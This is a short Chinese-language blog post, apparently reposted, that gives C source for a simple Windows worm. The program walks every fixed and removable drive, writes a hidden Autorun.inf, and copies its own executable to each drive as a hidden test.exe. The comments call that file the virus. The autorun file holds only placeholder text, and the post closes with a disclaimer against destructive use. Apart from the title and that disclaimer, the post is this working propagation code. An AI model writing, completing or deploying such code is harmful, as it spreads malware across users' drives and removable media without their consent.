生成autorun.inf,复制传播,简单例子

来源:互联网 发布:淘宝直通车可以退款吗 编辑:程序博客网 时间:2024/05/17 03:42
#include <stdio.h>
#include <windows.h>
#include <string.h>


void main()
{
FILE *fp; //文件指针
UINT disk_type;//用于获取磁盘类型
char autoRunFileName[255];//存放Autorun.inf文件路径
char vFileName[255];//存放复制病毒文件路径
char szFileName[255];//存放原病毒文件路径
char driveName[4];//驱动器路径

strcpy(driveName,"C:\0");//初始化驱动器路径,从C盘开始

for(driveName[0] = 'c'; driveName[0] <= 'z'; driveName[0]++)//遍历从C到Z所有驱动器
{

disk_type = GetDriveType(driveName);//获取驱动器类型
if((disk_type == DRIVE_REMOVABLE) || (disk_type == DRIVE_FIXED))//驱动器类型为可移动或固定分区时有效
{
sprintf(autoRunFileName,"%c:\\Autorun.inf",driveName[0]);//生成Autorun.inf文件路径


fp = fopen(autoRunFileName,"w+");//生成Autorun.inf文件
//写autorun.inf文件
fprintf(fp,"aaa");


fclose(fp);


SetFileAttributes(autoRunFileName,FILE_ATTRIBUTE_HIDDEN);//设置Autorun.inf文件隐藏
sprintf(vFileName,"%c:\\test.exe",driveName[0]);//生成复制病毒文件路径
GetModuleFileName(NULL, szFileName, 255);//取得当前病毒文件路径,为复制病毒做准备
CopyFile(szFileName,vFileName,TRUE);//复制病毒文件
SetFileAttributes(vFileName,FILE_ATTRIBUTE_HIDDEN);//设置病毒文件隐藏


}
}

}


勿用于破坏,本人不负责

原创粉丝点击